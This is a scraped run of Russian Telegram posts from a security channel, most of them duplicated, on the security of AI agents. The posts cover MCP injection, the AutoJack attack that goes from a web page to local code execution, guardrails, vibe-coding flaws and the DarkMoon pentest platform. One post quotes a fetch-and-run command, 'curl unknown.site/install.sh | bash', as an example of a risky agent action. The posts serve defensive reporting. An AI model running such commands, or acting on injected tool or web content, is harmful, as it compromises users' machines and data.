🧠💣 Понимание рисков Open Claw для пользователей, не обладающих техническими навыками: практическое руководство с использованием Skill
Статья с таким заголовком вышла на arxiv.org
OpenClaw стал слишком мощным. Теперь исследователи учат людей, как от него защищаться 😁
Авторы утверждают, что OpenClaw уже превратился из «прикольного open-source агента» в систему, которая может автономно выполнять длинные задачи, принимать решения и использовать инструменты почти как junior инженер.
👤Пользователь, как главная уязвимость AI-агентов
Человек даёт агенту слишком много свободы:
❌ запускает OpenClaw с root/admin правами
❌ разрешает shell без ограничений
❌ подключает приватные директории
❌ даёт доступ к API-ключам и браузеру
❌ копирует команды из Discord/GitHub без понимания последствий
❌ доверяет агенту «починить систему»
В мире AI-агентов это уже превращается в полноценную attack surface. Один плохой prompt, один malicious skill, одна «полезная автоматизация» и агент сам начинает делать за атакующего грязную работу.
🙆♂ Риски
Авторы выделяют 7 ключевых классов рисков для OpenClaw: от утечки данных и опасных команд до неправильной автономии и злоупотребления доступами. Документ написан максимально приземлённо, как практическая инструкция «что реально может пойти не так».
Советуем ознакомиться с материалом самостоятельно. Обойдёмся без спойлеров.
📄 Источник: “Understanding and mitigating the risks of OpenClaw for non-technical users
”
Stay secure and read SecureTechTalks 📚
#CyberSecurity #AI #LLMSecurity #OpenClaw #AIAgents #GenAI #CyberDefense #AISecurity #AppSec #SecureTechTalks
Статья с таким заголовком вышла на arxiv.org
OpenClaw стал слишком мощным. Теперь исследователи учат людей, как от него защищаться 😁
Авторы утверждают, что OpenClaw уже превратился из «прикольного open-source агента» в систему, которая может автономно выполнять длинные задачи, принимать решения и использовать инструменты почти как junior инженер.
👤Пользователь, как главная уязвимость AI-агентов
Человек даёт агенту слишком много свободы:
❌ запускает OpenClaw с root/admin правами
❌ разрешает shell без ограничений
❌ подключает приватные директории
❌ даёт доступ к API-ключам и браузеру
❌ копирует команды из Discord/GitHub без понимания последствий
❌ доверяет агенту «починить систему»
В мире AI-агентов это уже превращается в полноценную attack surface. Один плохой prompt, один malicious skill, одна «полезная автоматизация» и агент сам начинает делать за атакующего грязную работу.
🙆♂ Риски
Авторы выделяют 7 ключевых классов рисков для OpenClaw: от утечки данных и опасных команд до неправильной автономии и злоупотребления доступами. Документ написан максимально приземлённо, как практическая инструкция «что реально может пойти не так».
Советуем ознакомиться с материалом самостоятельно. Обойдёмся без спойлеров.
📄 Источник: “Understanding and mitigating the risks of OpenClaw for non-technical users
”
Stay secure and read SecureTechTalks 📚
#CyberSecurity #AI #LLMSecurity #OpenClaw #AIAgents #GenAI #CyberDefense #AISecurity #AppSec #SecureTechTalks
👍2
🧠🛡️ Guardrails для AI-агентов начали переписывать execution plan
Большинство защит AI-агентов блокирует действие, если замечает риск и просто. В результате агент либо ломается, либо уходит в рекурсию, пока случайно не найдёт обходной путь.
На arXiv вышла работа, где исследователи предлагают не останавливать агента, а безопасно менять его план действий.
⚙️ В чем суть?
Guardrail анализирует действие агента перед выполнением (ту же shell-команду или API-вызов) после чего возвращает вердикт: «можно / запрещено / уровень риска». Однако реальные инциденты возникают не потому, что агент «злой», а потому что он работает на загрязнённом контексте.
Вредоносный RAG-документ, prompt injection, опасный tool chain или просто недоверенные инструкции могут изменить reasoning модели и подтолкнуть её к небезопасному действию.
Исследователи предлагают добавить feedback-driven remediation layer. Если guardrail замечает риск, агенту показывают безопасный способ добиться той же цели.
🧪 Как это выглядит на практике
Агент собирается выполнить
Классическая защита вернёт «BLOCK», а новый подход пытается безопасно переписать execution path: скачать файл → проверить хэш → показать diff → запросить подтверждение → запускать только в изоляции.
Guardrail начинает работать как runtime AppSec reviewer для reasoning AI-агента.
🧠 Зачем все усложнять?
Агенту иногда нужно делать потенциально рискованные действия, чтобы вообще быть полезным. Если всё запрещать, то можно забыть об автономности, а если разрешать всё, то появляется огромная брешь в защите.
🔗 Исследование: https://arxiv.org/abs/2606.05805
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #AIsecurity #AppSec #RuntimeSecurity #CyberSecurity #SecureTechTalks
Большинство защит AI-агентов блокирует действие, если замечает риск и просто. В результате агент либо ломается, либо уходит в рекурсию, пока случайно не найдёт обходной путь.
На arXiv вышла работа, где исследователи предлагают не останавливать агента, а безопасно менять его план действий.
⚙️ В чем суть?
Guardrail анализирует действие агента перед выполнением (ту же shell-команду или API-вызов) после чего возвращает вердикт: «можно / запрещено / уровень риска». Однако реальные инциденты возникают не потому, что агент «злой», а потому что он работает на загрязнённом контексте.
Вредоносный RAG-документ, prompt injection, опасный tool chain или просто недоверенные инструкции могут изменить reasoning модели и подтолкнуть её к небезопасному действию.
Исследователи предлагают добавить feedback-driven remediation layer. Если guardrail замечает риск, агенту показывают безопасный способ добиться той же цели.
🧪 Как это выглядит на практике
Агент собирается выполнить
curl unknown.site/install.sh | bashКлассическая защита вернёт «BLOCK», а новый подход пытается безопасно переписать execution path: скачать файл → проверить хэш → показать diff → запросить подтверждение → запускать только в изоляции.
Guardrail начинает работать как runtime AppSec reviewer для reasoning AI-агента.
🧠 Зачем все усложнять?
Агенту иногда нужно делать потенциально рискованные действия, чтобы вообще быть полезным. Если всё запрещать, то можно забыть об автономности, а если разрешать всё, то появляется огромная брешь в защите.
🔗 Исследование: https://arxiv.org/abs/2606.05805
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #PromptInjection #AIsecurity #AppSec #RuntimeSecurity #CyberSecurity #SecureTechTalks
👍1
🔎 Google решили автоматизировать discovery для AI-агентов
Пока индустрия массово подключает агентам всё подряд через MCP, Google двигает другую идею: агент должен уметь сам понимать, какие ресурсы ему доступны и как с ними работать.
Речь про Agentic Resource Discovery, новый подход, где агент получает не просто API, а карту окружения с инструментами, данными, политиками доступа и зависимостями.
⚙️ Что меняется
Сейчас мы работаем в полходе «вот тебе tool, вот schema, иди работай» Google же предлагает более зрелую модель: «discover → understand → reason → act»
То есть агент сначала сам изучает:
🔹 какие сервисы доступны
🔹 какие данные можно читать
🔹 какие действия разрешены
🔹 какие ограничения есть у каждой системы
🔹 где проходят границы доверия
И только потом строит execution plan.
🧠 Discovery наше все
Без discovery агент часто работает вслепую. Он не понимает окружение, не знает sensitivity данных и может легко нарушить политики безопасности.
Например, агент видит API удаления данных, но не понимает, что это ПРОМ. Или другой кейс, агент получает доступ к внутреннему S3-bucket, читает чувствительные документы и начинает использовать их в reasoning.
Agentic Resource Discovery пытается встроить security context прямо в planning phase. То есть безопасность начинает сдвигаться из runtime ближе к reasoning layer.
Это похоже на эволюцию MCP, т.е. не просто «вот инструменты», а «вот вся инфраструктура, её ограничения и правила работы с ней.»
Такой подход выглядит как очень логичный следующий шаг для enterprise-агентов.
🔗 GitHub: https://github.com/ards-project/ard-spec
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #Google #MCP #RuntimeSecurity #AppSec #CyberSecurity #SecureTechTalks
Пока индустрия массово подключает агентам всё подряд через MCP, Google двигает другую идею: агент должен уметь сам понимать, какие ресурсы ему доступны и как с ними работать.
Речь про Agentic Resource Discovery, новый подход, где агент получает не просто API, а карту окружения с инструментами, данными, политиками доступа и зависимостями.
⚙️ Что меняется
Сейчас мы работаем в полходе «вот тебе tool, вот schema, иди работай» Google же предлагает более зрелую модель: «discover → understand → reason → act»
То есть агент сначала сам изучает:
🔹 какие сервисы доступны
🔹 какие данные можно читать
🔹 какие действия разрешены
🔹 какие ограничения есть у каждой системы
🔹 где проходят границы доверия
И только потом строит execution plan.
🧠 Discovery наше все
Без discovery агент часто работает вслепую. Он не понимает окружение, не знает sensitivity данных и может легко нарушить политики безопасности.
Например, агент видит API удаления данных, но не понимает, что это ПРОМ. Или другой кейс, агент получает доступ к внутреннему S3-bucket, читает чувствительные документы и начинает использовать их в reasoning.
Agentic Resource Discovery пытается встроить security context прямо в planning phase. То есть безопасность начинает сдвигаться из runtime ближе к reasoning layer.
Это похоже на эволюцию MCP, т.е. не просто «вот инструменты», а «вот вся инфраструктура, её ограничения и правила работы с ней.»
Такой подход выглядит как очень логичный следующий шаг для enterprise-агентов.
🔗 GitHub: https://github.com/ards-project/ard-spec
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #Google #MCP #RuntimeSecurity #AppSec #CyberSecurity #SecureTechTalks
🧨 MCP-инъекции AI агентов
Cloud Security Alliance показывают, как компрометация MCP-слоя позволяет полностью перехватить operational loop AI-агента.
MCP сегодня фактически становится управляющей панелью для агентов. Он:
🔹 описывает доступные инструменты
🔹 передаёт схемы вызовов
🔹 отдаёт контекст выполнения
🔹 управляет файловыми и API-ресурсами
Однако большинство агентов воспринимают этот слой как доверенный.
Если атакующий подсовывает фейковый MCP-server или подменённый tool descriptor, агент начинает строить reasoning уже на скомпрометированной модели. То есть инъекция происходит не в промпте, а в слое оркестрации.
🧠 MCP injection
Типовой сценарий, когда агент подключается к внешнему MCP endpoint, получает описание tool capability, LLM интерпретирует его как легитимный execution primitive. Дальше возможны:
🔹 подмена параметров shell execution
🔹 скрытые file read primitives
🔹 поддельные API endpoints для data exfiltration
🔹 privilege escalation через over-permissioned tools
🔹 persistence через long-lived MCP sessions
Ключевая проблема в том, что агент не верифицирует семантику инструмента и полностью доверяет источнику.
📉 Хуже чем prompt injection
Обычный prompt injection атакует reasoning graph. MCP injection атакует execution graph. Злоумышленник влияет на действовия агента, что гораздо опаснее, особенно для coding-агентов с shell, git, docker, cloud API и production access.
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #MCP #AgenticAI #SupplyChainSecurity #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
Cloud Security Alliance показывают, как компрометация MCP-слоя позволяет полностью перехватить operational loop AI-агента.
MCP сегодня фактически становится управляющей панелью для агентов. Он:
🔹 описывает доступные инструменты
🔹 передаёт схемы вызовов
🔹 отдаёт контекст выполнения
🔹 управляет файловыми и API-ресурсами
Однако большинство агентов воспринимают этот слой как доверенный.
Если атакующий подсовывает фейковый MCP-server или подменённый tool descriptor, агент начинает строить reasoning уже на скомпрометированной модели. То есть инъекция происходит не в промпте, а в слое оркестрации.
🧠 MCP injection
Типовой сценарий, когда агент подключается к внешнему MCP endpoint, получает описание tool capability, LLM интерпретирует его как легитимный execution primitive. Дальше возможны:
🔹 подмена параметров shell execution
🔹 скрытые file read primitives
🔹 поддельные API endpoints для data exfiltration
🔹 privilege escalation через over-permissioned tools
🔹 persistence через long-lived MCP sessions
Ключевая проблема в том, что агент не верифицирует семантику инструмента и полностью доверяет источнику.
📉 Хуже чем prompt injection
Обычный prompt injection атакует reasoning graph. MCP injection атакует execution graph. Злоумышленник влияет на действовия агента, что гораздо опаснее, особенно для coding-агентов с shell, git, docker, cloud API и production access.
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #MCP #AgenticAI #SupplyChainSecurity #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
👍1
🧨 AutoJack: вредоносный сайт теперь может превратить AI-агента в RCE-прокси
Cloud Security Alliance разобрали новую атаку AutoJack. Суть простая, если AI-агент умеет одновременно ходить в интернет и общаться с локальными сервисами, граница доверия "localhost" начинает ломаться.
⚙️ Как работает атака?
Типовой сценарий выглядит заурядно, агент открывает внешнюю веб-страницу, вредоносный JavaScript внутри страницы инициирует запросы к локальному MCP endpoint. Endpoint принимает команды без нормальной аутентификации, по итогу агент запускает произвольный процесс на хосте.
Внешний веб-контент получает execution path до локальной машины. Получается гибрид prompt injection и localhost trust bypass.
🧠 Почему так происходит?
Проблема здесь в связке агента браузера, MCP и shell. Большинство агентных систем считают localhost доверенным. Получается, что если агент сам рендерит attacker-controlled content, то этот контент уже оказывается внутри доверенного источника.
🔗 Исследование: https://labs.cloudsecurityalliance.org/research/csa-research-note-autojack-ai-agent-rce-20260621-csa-styled/
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #MCP #RCE #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
Cloud Security Alliance разобрали новую атаку AutoJack. Суть простая, если AI-агент умеет одновременно ходить в интернет и общаться с локальными сервисами, граница доверия "localhost" начинает ломаться.
⚙️ Как работает атака?
Типовой сценарий выглядит заурядно, агент открывает внешнюю веб-страницу, вредоносный JavaScript внутри страницы инициирует запросы к локальному MCP endpoint. Endpoint принимает команды без нормальной аутентификации, по итогу агент запускает произвольный процесс на хосте.
Внешний веб-контент получает execution path до локальной машины. Получается гибрид prompt injection и localhost trust bypass.
🧠 Почему так происходит?
Проблема здесь в связке агента браузера, MCP и shell. Большинство агентных систем считают localhost доверенным. Получается, что если агент сам рендерит attacker-controlled content, то этот контент уже оказывается внутри доверенного источника.
🔗 Исследование: https://labs.cloudsecurityalliance.org/research/csa-research-note-autojack-ai-agent-rce-20260621-csa-styled/
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #MCP #RCE #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
👍1
🧨 Vibe coding создает новый класс уязвимых приложений
Недавно вышло исследование, где авторы решили проверить, насколько безопасен софт, который разрабатывается полностью через LLM с помощью вайбкодинга.
Сегодня типичный сценарий, когда человек просто итеративно просит модель: «сделай CRM», «добавь авторизацию», «прикрути платежи», «разверни API», а дальше постепенно дорабатывает функциональность через новые промпты. Очевидно, что в таком подходе нет анализа угроз и security review.
После аудита выяснилось, что большинство проблем лежат в базовой логике безопасности. Регулярно встречались отсутствие проверки прав доступа, прямой доступ к объектам (IDOR), слабая аутентификация, утечки секретов в коде, инъекции на уровне API, небезопасная работа с файлами и уязвимая бизнес-логика.
LLM действительно хорошо генерирует основной рабочий сценарий приложения, но всё, что связано с защитой или обработкой ошибок зачастую остаётся недоработанным. Модель делает приложение функциональным, но не делает его безопасным.
На самом деле эта проблема систмная. Vibe coding резко снижает порог входа в разработку. Если раньше для запуска собственного SaaS нужны были хотя бы базовые инженерные навыки, то теперь достаточно пары часов и хорошего промпта. Скорость создания уязвимого продукта практически сравнялась со скоростью генерации кода.
К сожалению, это приводит к массовому производству уязвимых приложений людьми, которые даже не знают, где именно эти уязвимости находятся.
🔗 Исследование: https://arxiv.org/abs/2606.23130
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #VibeCoding #AppSec #SecureCoding #DevSecOps #CodeSecurity #CyberSecurity #SecureTechTalks
Недавно вышло исследование, где авторы решили проверить, насколько безопасен софт, который разрабатывается полностью через LLM с помощью вайбкодинга.
Сегодня типичный сценарий, когда человек просто итеративно просит модель: «сделай CRM», «добавь авторизацию», «прикрути платежи», «разверни API», а дальше постепенно дорабатывает функциональность через новые промпты. Очевидно, что в таком подходе нет анализа угроз и security review.
После аудита выяснилось, что большинство проблем лежат в базовой логике безопасности. Регулярно встречались отсутствие проверки прав доступа, прямой доступ к объектам (IDOR), слабая аутентификация, утечки секретов в коде, инъекции на уровне API, небезопасная работа с файлами и уязвимая бизнес-логика.
LLM действительно хорошо генерирует основной рабочий сценарий приложения, но всё, что связано с защитой или обработкой ошибок зачастую остаётся недоработанным. Модель делает приложение функциональным, но не делает его безопасным.
На самом деле эта проблема систмная. Vibe coding резко снижает порог входа в разработку. Если раньше для запуска собственного SaaS нужны были хотя бы базовые инженерные навыки, то теперь достаточно пары часов и хорошего промпта. Скорость создания уязвимого продукта практически сравнялась со скоростью генерации кода.
К сожалению, это приводит к массовому производству уязвимых приложений людьми, которые даже не знают, где именно эти уязвимости находятся.
🔗 Исследование: https://arxiv.org/abs/2606.23130
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #VibeCoding #AppSec #SecureCoding #DevSecOps #CodeSecurity #CyberSecurity #SecureTechTalks
👍2
🧨 Guardrails больше не спасают. Нужно проверять поведение агента
Появился интересный open-source проект Praxen.
В основе Praxen лежит Agent Behavior Verification (ABV), слой формальной верификации поведения агента. Вместо анализа отдельных tool calls система строит модель допустимого execution graph: какие инструменты агент должен использовать, в каком порядке, с какими зависимостями, в каком контексте и с какими ограничениями.
Решение описывает expected operational semantics агента, затем runtime execution сопоставляется с этим графом.
Если агент:
🔹 вызывает tool вне ожидаемого контекста
🔹 нарушает допустимый порядок действий
🔹 обращается к нехарактерным ресурсам
🔹 строит нетипичный execution path
🔹 пересекает trust boundary без основания
Система фиксирует отклонение как потенциальный инцидент безопасности. Очень полезная фича, т.к. современные AI-агенты ломаются именно на уровне поведения. Prompt injection редко выглядит как «запусти rm -rf». Чаще это постепенный сдвиг reasoning graph, который приводит к легитимным, но опасным действиям. Praxen пытается ловить этот drift раньше, чем агент доберётся до цели.
Если guardrails это WAF для tool calls, то Praxen это EDR для reasoning и execution layer. Похоже именно туда сейчас начинает двигаться вся agent security.
🔗 GitHub: https://github.com/open-agent-ai-security/praxen
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #BehaviorVerification #RuntimeSecurity #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
Появился интересный open-source проект Praxen.
В основе Praxen лежит Agent Behavior Verification (ABV), слой формальной верификации поведения агента. Вместо анализа отдельных tool calls система строит модель допустимого execution graph: какие инструменты агент должен использовать, в каком порядке, с какими зависимостями, в каком контексте и с какими ограничениями.
Решение описывает expected operational semantics агента, затем runtime execution сопоставляется с этим графом.
Если агент:
🔹 вызывает tool вне ожидаемого контекста
🔹 нарушает допустимый порядок действий
🔹 обращается к нехарактерным ресурсам
🔹 строит нетипичный execution path
🔹 пересекает trust boundary без основания
Система фиксирует отклонение как потенциальный инцидент безопасности. Очень полезная фича, т.к. современные AI-агенты ломаются именно на уровне поведения. Prompt injection редко выглядит как «запусти rm -rf». Чаще это постепенный сдвиг reasoning graph, который приводит к легитимным, но опасным действиям. Praxen пытается ловить этот drift раньше, чем агент доберётся до цели.
Если guardrails это WAF для tool calls, то Praxen это EDR для reasoning и execution layer. Похоже именно туда сейчас начинает двигаться вся agent security.
🔗 GitHub: https://github.com/open-agent-ai-security/praxen
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #AgenticAI #BehaviorVerification #RuntimeSecurity #PromptInjection #AppSec #CyberSecurity #SecureTechTalks
👍2
🧠 Open source проекты начали отказываться от LLM при разработке
Software Freedom Conservancy (SFC) выпустили довольно интересный документ с рекомендациями по использованию LLM в open-source проектах.
Спойлер:не стоит использовать генеративный AI там, где важны происхождение кода, лицензирование и безопасность.
⚙️ В чём проблема?
SFC отдельно разбирают, что LLM ломают базовые гарантии open-source supply chain. Когда разработчик вставляет сгенерированный код, он часто не знает:
🔹 откуда этот код появился
🔹 на какой лицензии он основан
🔹 не попал ли туда копипаст из GPL/AGPL
🔹 нет ли внутри старых CVE- паттернов
🔹 не повторяет ли модель insecure implementation
По сути provenance кода исчезает. А вместе с ним ломается возможность проведения аудита, а при инцидентах становится сложнее понять источник уязвимости.
🧨 Паттерны
LLM отлично генерируют рабочий код, но плохо генерируют механизмы защиты. Типичный паттерн, когда функция работает, но модель аудита упрощёна, проверка входных параметров поверхностная, управление секретами отсутствует.
Это напрямую совпадает с последними исследованиями по vibe coding.
🛡️ Что рекомендуют?
SFC советуют использовать LLM максимально ограниченно:
➖ не принимать код без полного human review
➖ не использовать генерацию для security-sensitive logic
➖ документировать AI-origin code
➖ отдельно прогонять его через аудит
➖ учитывать license contamination risk
Если подытожить, то AI-code теперь предлагают рассматривать как недоверенные сторонние зависимости.
🔗 Статья: https://sfconservancy.org/llm-gen-ai/llm-backed-generative-ai-recommendations.html
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #OpenSource #SupplyChainSecurity #AppSec #SecureCoding #DevSecOps #CyberSecurity #SecureTechTalks
Software Freedom Conservancy (SFC) выпустили довольно интересный документ с рекомендациями по использованию LLM в open-source проектах.
Спойлер:
⚙️ В чём проблема?
SFC отдельно разбирают, что LLM ломают базовые гарантии open-source supply chain. Когда разработчик вставляет сгенерированный код, он часто не знает:
🔹 откуда этот код появился
🔹 на какой лицензии он основан
🔹 не попал ли туда копипаст из GPL/AGPL
🔹 нет ли внутри старых CVE- паттернов
🔹 не повторяет ли модель insecure implementation
По сути provenance кода исчезает. А вместе с ним ломается возможность проведения аудита, а при инцидентах становится сложнее понять источник уязвимости.
🧨 Паттерны
LLM отлично генерируют рабочий код, но плохо генерируют механизмы защиты. Типичный паттерн, когда функция работает, но модель аудита упрощёна, проверка входных параметров поверхностная, управление секретами отсутствует.
Это напрямую совпадает с последними исследованиями по vibe coding.
🛡️ Что рекомендуют?
SFC советуют использовать LLM максимально ограниченно:
Если подытожить, то AI-code теперь предлагают рассматривать как недоверенные сторонние зависимости.
🔗 Статья: https://sfconservancy.org/llm-gen-ai/llm-backed-generative-ai-recommendations.html
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #OpenSource #SupplyChainSecurity #AppSec #SecureCoding #DevSecOps #CyberSecurity #SecureTechTalks
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2
🧨 DarkMoon превращает AI в автономного пентестера
На фоне бума AI-агентов появился ещё один интересный open-source проект, DarkMoon. Это полноценная мультиагентная атакуюшая платформа, где LLM не просто запускает инструменты, а строит атаку как связанный граф.
⚙️ Что внутри?
Внутри работает 18 специализированных агентов и 80+ offensive-инструментов.
Сначала master-agent проводит разведку и определяет стек цели по 14 технологическим сигналам:
🔹 web stack
🔹 Active Directory
🔹 Kubernetes
🔹 cloud
🔹 CMS
🔹 network surface
После разведки система запускает нужных агентов в нужной последовательности.
🧠 AI не получает shell
Обычно AI pentest-платформы дают модели прямой shell-доступ,
DarkMoon строит только план атаки, а все реальные вызовы агентов проходят через MCP-gateway, который определяет:
🔹 какой бинарник можно запускать
🔹 с какими аргументами
🔹 в каком контексте
🔹 с какими ограничениями
🛡️ Интересности
LLM уже хорошо умеют искать. Проблема в управляемости и воспроизводимости цепочки атак. Данные инструмент закрывает именно эти задачи:
➖ строит повторяемые offensive workflows,
➖ сохраняет доказательства
➖ маппитьрезультаты в MITRE ATT&CK и сразу готовить отчёты под ISO 27001, Bugcrowd и HackerOne
🔗 GitHub: https://github.com/ASCIT31/Dark-Moon
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #Pentest #AgenticAI #RedTeam #OffensiveSecurity #AppSec #CyberSecurity #SecureTechTalks
На фоне бума AI-агентов появился ещё один интересный open-source проект, DarkMoon. Это полноценная мультиагентная атакуюшая платформа, где LLM не просто запускает инструменты, а строит атаку как связанный граф.
⚙️ Что внутри?
Внутри работает 18 специализированных агентов и 80+ offensive-инструментов.
Сначала master-agent проводит разведку и определяет стек цели по 14 технологическим сигналам:
🔹 web stack
🔹 Active Directory
🔹 Kubernetes
🔹 cloud
🔹 CMS
🔹 network surface
После разведки система запускает нужных агентов в нужной последовательности.
🧠 AI не получает shell
Обычно AI pentest-платформы дают модели прямой shell-доступ,
DarkMoon строит только план атаки, а все реальные вызовы агентов проходят через MCP-gateway, который определяет:
🔹 какой бинарник можно запускать
🔹 с какими аргументами
🔹 в каком контексте
🔹 с какими ограничениями
🛡️ Интересности
LLM уже хорошо умеют искать. Проблема в управляемости и воспроизводимости цепочки атак. Данные инструмент закрывает именно эти задачи:
🔗 GitHub: https://github.com/ASCIT31/Dark-Moon
Stay secure and read SecureTechTalks 📚
#кибербезопасность #AI #LLM #Pentest #AgenticAI #RedTeam #OffensiveSecurity #AppSec #CyberSecurity #SecureTechTalks
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
🧨 GitHub больше не успевает проверять уязвимости.
GitHub сообщили, что поток security advisories вырос настолько сильно, что команда верификации начала отставать.
В мае 2026 GitHub опубликовали 1560 проверенных advisories. Это абсолютный рекорд. Однако даже этого оказалось недостаточно, чтобы догнать входящий поток..
⚙️ Что происходит?
Сразу несколько каналов одновременно взорвались по объёму:
🔹 private vulnerability reports выросли до 3000+ в неделю
🔹 repository advisories перевалили за 5000+ в неделю
🔹 CVE requests приблизились к 4000 за май
Случилась перегрузка всей цепочки устранения уязвимостей.
GitHub Advisory Database - это один из главных upstream-источников для:
➖ Dependabot
➖ SBOM scanners
➖ CI/CD security checks
➖ supply chain monitoring
➖ dependency risk engines
Если advisory задерживается на недели, возникает слепое окно, когда уязвимость уже известна, но автоматические системы ещё ничего о ней не знают.
🧨 Парадокс AI-эры
AI резко ускорил генерацию кода, библиотек и новых пакетов, но вместе с этим ускорился и поток багов.
Уязвимости появляются быстрее, чем индустрия успевает их классифицировать.
GitHub уже подключили AI для triage и enrichment, но финальное решение пока всё ещё за человеком.
Похоже скоро без полной автоматизации рынок просто не выдержит.
🔗 Источник: GitHub Advisory Database Blog
Stay secure and read SecureTechTalks 📚
#кибербезопасность #GitHub #CVE #SupplyChainSecurity #AppSec #VulnerabilityManagement #Dependabot #SBOM #DevSecOps #SecureTechTalks
GitHub сообщили, что поток security advisories вырос настолько сильно, что команда верификации начала отставать.
В мае 2026 GitHub опубликовали 1560 проверенных advisories. Это абсолютный рекорд. Однако даже этого оказалось недостаточно, чтобы догнать входящий поток..
⚙️ Что происходит?
Сразу несколько каналов одновременно взорвались по объёму:
🔹 private vulnerability reports выросли до 3000+ в неделю
🔹 repository advisories перевалили за 5000+ в неделю
🔹 CVE requests приблизились к 4000 за май
Случилась перегрузка всей цепочки устранения уязвимостей.
GitHub Advisory Database - это один из главных upstream-источников для:
➖ Dependabot
➖ SBOM scanners
➖ CI/CD security checks
➖ supply chain monitoring
➖ dependency risk engines
Если advisory задерживается на недели, возникает слепое окно, когда уязвимость уже известна, но автоматические системы ещё ничего о ней не знают.
🧨 Парадокс AI-эры
AI резко ускорил генерацию кода, библиотек и новых пакетов, но вместе с этим ускорился и поток багов.
Уязвимости появляются быстрее, чем индустрия успевает их классифицировать.
GitHub уже подключили AI для triage и enrichment, но финальное решение пока всё ещё за человеком.
Похоже скоро без полной автоматизации рынок просто не выдержит.
🔗 Источник: GitHub Advisory Database Blog
Stay secure and read SecureTechTalks 📚
#кибербезопасность #GitHub #CVE #SupplyChainSecurity #AppSec #VulnerabilityManagement #Dependabot #SBOM #DevSecOps #SecureTechTalks
👍1